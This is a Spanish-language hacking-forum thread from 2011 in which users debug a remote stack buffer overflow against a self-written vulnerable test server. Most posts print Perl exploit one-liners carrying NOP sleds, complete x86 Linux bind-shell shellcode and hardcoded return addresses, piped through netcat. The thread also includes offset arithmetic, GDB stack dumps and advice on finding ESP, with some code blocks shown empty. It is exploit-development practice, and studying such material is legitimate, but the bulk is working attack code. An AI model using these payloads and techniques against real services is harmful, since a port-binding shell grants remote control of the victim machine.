Título: ¿ Fallo BoF Remoto Linux ? Publicado por: Garfield07 en 18 Febrero 2011, 01:10 am Bueno, después de solucionar el último problema ( y colgarlo (http://foro.elhacker.net/seguridad/reto_adivina_por_que_no_funciona-t319811.0.html;msg1582131#new)) me he puesto a explotar el dichoso servidor de pruebas que he hecho para el taller. Os vuelvo a remitir el código...
Código
Y os remito el comando que estoy usando para explotar el fallo... [8 nops + 92 shellcode + 4 ret + 1 null'] Código: juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf" . "\x00"' | nc -vv localhost 5555555 Código ... el último byte (se programó así por el \n de muchos clientes) se borra. El caso es que compilo sin ninguna protección... Código: juanra@Juanra:~$ sudo gdb -q ./serv Llevo toda la noche pensando, pero no se me ocurre nada... Qué puede ser? PD: Si os hace falta más información preguntadme. Gracias! Un saludo Sagrini Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: M3st4ng en 18 Febrero 2011, 21:07 pm Hola!
He probado tu código con una shellcode que tenia yo y me ha funcionado: Código: SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:49:25 Me da la sensación de que no llegas a sobreescribir completamente el RET. Para hacer overflow necesitas 109 bytes y tu le estas pasando 104: Código: $ perl -e 'print "A"x108' | nc -vv localhost 16005 Con 108 no llego a sobreescribir pero con 109 si: Código: $ perl -e 'print "A"x109' | nc -vv localhost 16005 Revisa el comando que lanzas contra el servidor. Ahora voy a probar tu shellcode. Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: Garfield07 en 18 Febrero 2011, 21:29 pm Hola Javi!
Pues no sé, esta noche vuelvo a la carga :-\ ... ¿Te funciona con mi comando exacto? Sí, pero es que 100 buffer + 4 EBP + 4 ESP = 108 xD Luego hay que restarle cuatro pues al volver se restan cuatro bytes de la pila (ret). Finalmente... 104. Eso último me extraña, no sé de dónde sale este último byte... Ahh xD del Código No me había dado cuenta de que esto también me afectaba en ese ámbito... xD Gracias! Seguiré probando... PD: Esto es un code para ir preparando el taller, no el code que vamos a usar en el taller. Nadie es taaaan despistado jaja... Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: M3st4ng en 18 Febrero 2011, 21:40 pm Hola de nuevo!
He probado tu shellcode aparte, sin usar ningún tipo de código vulnerable, y me da "violacion de segmento". ¿Puede que esté la shellcode mal? Intentaré buscar una que haga un bindshell y probaré a ver. Saludos Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: Garfield07 en 18 Febrero 2011, 21:42 pm Hola de nuevo! He probado tu shellcode aparte, sin usar ningún tipo de código vulnerable, y me da "violacion de segmento". ¿Puede que esté la shellcode mal? Intentaré buscar una que haga un bindshell y probaré a ver. Mmm, puede que la haya recortado mal, luego la miro, pero no es mía :P _________________________________________________________________________ Vale, modifico, un detallito... Al activar el randomize_va_space... Código: juanra@Juanra:~$ sudo gdb -q serv Y al desactivar... Código: (gdb) r 31337 Ambos corren así: Código: juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf"x3 . "\x00"' | nc -vv localhost 31337 ¿? Voy a mirar a ver la shellcode... _________________________________________________________________________ Modf: La shellcode va perfectamente :P Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: M3st4ng en 20 Febrero 2011, 21:47 pm Hola!
He estado todo el finde fuera y no me ha dado tiempo a mirar mucho. Lo que sí he hecho es reproducir el problema que tú tienes, parece que la shellcode se jode por algún motivo que aún no he descubierto. A priori todo el copiado del buffer lo hace bien: Código:
Luego da un execepción y veo que la pila se ha modificado justo donde tengo la shellcode: Código: 0xbffff180: 0x90909090 0x90909090 0x90909090 0x90909090 Como se puede ver el EIP esta intentando ejecutar la instrucción que esta en la dir 0xbffff1dd. En esa dir habia código de nuestra shellcode que ha sido modificada. Código: Program received signal SIGSEGV, Segmentation fault. Seguirí investigando Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: Garfield07 en 21 Febrero 2011, 15:01 pm El fallo creo que podría estar en la shellcode... Aunque no me sirva para este caso le voy a meter una local, a ver si se ejecuta xD
Si funciona es que el fallo está en la shellcode y listo... Iré modificando xD Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: Garfield07 en 21 Febrero 2011, 19:39 pm Perdonad el doble-post, pero... Lo conseguí!
En realidad era una tontería... \x00 se considera como byte nulo para strlen, por lo que no se contaba y me modificaba de todos modos una parte del exploit. Todo se solucionaba cambiando el byte nulo por cualquier otra cosa... xD xD xD xD Ohh... Un detallito era que en el GDB me funciona, pero fuera no. Eso es que el ret me cambia al salir :P Ahora voy a meterle la buena shellcode y listo xD Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: M3st4ng en 21 Febrero 2011, 22:37 pm Hola!
Pues a mi me sigue cascando. La shellcode que uso esta bien porque la he probado en local y funciona perfectamente. No entiendo por qué narices se me modifica la shellcode..... Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: Garfield07 en 21 Febrero 2011, 22:43 pm A mi lo que me falla es mi shellcode. He hecho una que printa AAAA y funciona, ahora, la del remoto no va... Ahora voy a mirar el desensamblado a ver a qué amiguito llama :P
Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: Garfield07 en 21 Febrero 2011, 23:21 pm Perdona el doblepost, pero cuando consigues algo que quieres te motivas un puñado ;)
Te explico... Servidor Código: juanra@Juanra:~/Escritorio/Serv$ sudo gdb -q serv Exploit line Código: juanra@Juanra:~$ perl -e 'print "\x90"x12 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x35\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31330 Bind Shell 5074 Código: juanra@Juanra:~$ nc -vv localhost 5074 12 NOPS + 92 SHELLCODE + 4 RET + 1 BASURA Código
Lo que me fastidia es que sólo corre cuando abres el servidor desde GDB. Mañana lo miraré ::) Un saludo! Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: M3st4ng en 22 Febrero 2011, 00:21 am Hola!!
El tema de que no te funcione sin el "gdb" es porque la dirección que pones como salto a los NOPs no es la misma cuando corre el programa con el gdb que sin él. Tendrás que crear te una función que en tiempo de ejecución te dé un ESP al que le tengas que restar unos cuantos bytes para que caiga dentro de los NOPS. La función que yo uso es esta: Código: unsigned get_esp(void) Con respecto al BOF remoto, mañana volvere a intentar otra cosa. Salu2!! Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: Garfield07 en 22 Febrero 2011, 00:37 am Mmm, yo sencillamente modifico el código con un printf y listo xD :silbar:
La cosa es que ahora se come la shellcode, la empieza por donde no es y me suelta "Instrucción ilegal". Ahora, en GDB gracias a los nops corre xD Seguiré mirando... _________________________________________________________ Modf: Vaya con la shellcode... Añado al code Código NC Código: juanra@Juanra:~$ nc -vv localhost 5074 Código: juanra@Juanra:~$ perl -e 'print "\x90"x12 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337 Código: juanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337 1. Ejecuto el servidor (port 31337). 2. Ejecuto el exploit. El servidor recibe la cadena y queda parado. 3. Ejecuto el NC. El netcat dice que se cierra la conexión y el servidor que "fallo de segmentación". ¿?¿?¿? _________________________________________________________ Aparte, de pruebas... Server Código: juanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337 Código: juanra@Juanra:~$ perl -e 'print "\x90"x80 . "\x31\xc0\xb0\x04\x31\xd2\xb2\x01\x6a\x42\x89\xe1\x31\xdb\x43\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337 La shellcode sólo escribía una B y salía. Funciona a la perfección :P Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: Garfield07 en 2 Marzo 2011, 19:54 pm Vale, ahora estaba pasando todo a limpio con una shellcode buena, y me ha salido este error al escribir el exploit...
El fallo está en que me sobreescribe el RET con en el principio de la shellcode (9958666a == 0x6a 0x66 0x58 0x99 ...) ¿Qué le pasa? Serv Código Exploit Código
Root Shell1 GDB serv Código: (gdb) r 31330 Código: juanra@Juanra:~/Escritorio/Serv$ ./exploit 127.0.0.1 31330 Gracias y un saludo! Sagrini Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: not-all0w3d en 21 Marzo 2011, 15:54 pm Hay una extraña sensación en mi, que me indica sólo una cosa, el que no programa su propia shellcode, no está listo para solucionar todo tipo de problemas..
No he leído bien y replanteo la pregunta, ¿has hecho tú la shellcode? Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: Garfield07 en 21 Marzo 2011, 20:35 pm Esta no, la he cogido de "Hacking, técnicas fundamentales", aunque está mal. Funciona, pero a veces da errores. Voy a ver si luego la puedo poner, lo más seguro es que no vaya... Reabro sesión y modif...
Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: not-all0w3d en 21 Marzo 2011, 21:52 pm Esta no, la he cogido de "Hacking, técnicas fundamentales", aunque está mal. Funciona, pero a veces da errores. Voy a ver si luego la puedo poner, lo más seguro es que no vaya... Reabro sesión y modif... ¡Qué mal!, te recomiendo que hagas tus propias shellcodes, yo sigo aprendiendo y me gusta esto de los overflows, y créeme es una batalla contra el Ollydbg (En mi caso).. Bueno espero que te funcione y ya ahí me pasas la shellcode para chequearla :) Título: Re: ¿ Fallo BoF Remoto Linux ? Publicado por: Garfield07 en 22 Marzo 2011, 18:07 pm Sí, sólo que el nivel de complejidad de este tipo de shellcodes es algo más alto... Hago las mías propias para cosas pequeñas, pero una portbinding shell ya es otra cosa ;) Aún no me he animado a hacerla :-\ Aunque comparto tu opinión, esta shellcode era menos importante a que funcionase correctamente.
Un detalle, para el que quiera que funcione cuando lo corras fuera del debugger, tienes que juntarse a su proceso. Os pongo el ejemplo: Citar sagrini@sagrini:~/Escritorio/OverFlow/Cap2$ sudo ./serv 80 & [1] 5166 SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/03/2011 18:09:26 sagrini@sagrini:~/Escritorio/OverFlow/Cap2$ sudo gdb -q -pid=5166 --symbols=./serv Attaching to process 5166 Load new symbol table from "/home/sagrini/Escritorio/OverFlow/Cap2/serv"? (y or n) y 0xb783d430 in __kernel_vsyscall () (gdb) c Continuing. 22/03/2011 18:10:08 Got connection from 127.0.0.1:49484 Program received signal SIGSEGV, Segmentation fault. 0xb76f83c1 in getenv () from /lib/tls/i686/cmov/libc.so.6 (gdb) x/5000b $esp [...] 0xbfe1a0b0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0b8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0c0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0c8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0d0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0d8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0e8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a0f8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a100: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a108: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe1a110: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 [...] (gdb) --------------------------------------------------------- sagrini@sagrini:~$ perl -e 'print "A"x1040' | hK vc 127.0.0.1 80 hK 2.0 - By Sagrini (2010) - 22/03/2011 18:12:23 22/03/2011 18:12:23 Got connection with 127.0.0.1:80 Un saludo Sagrini |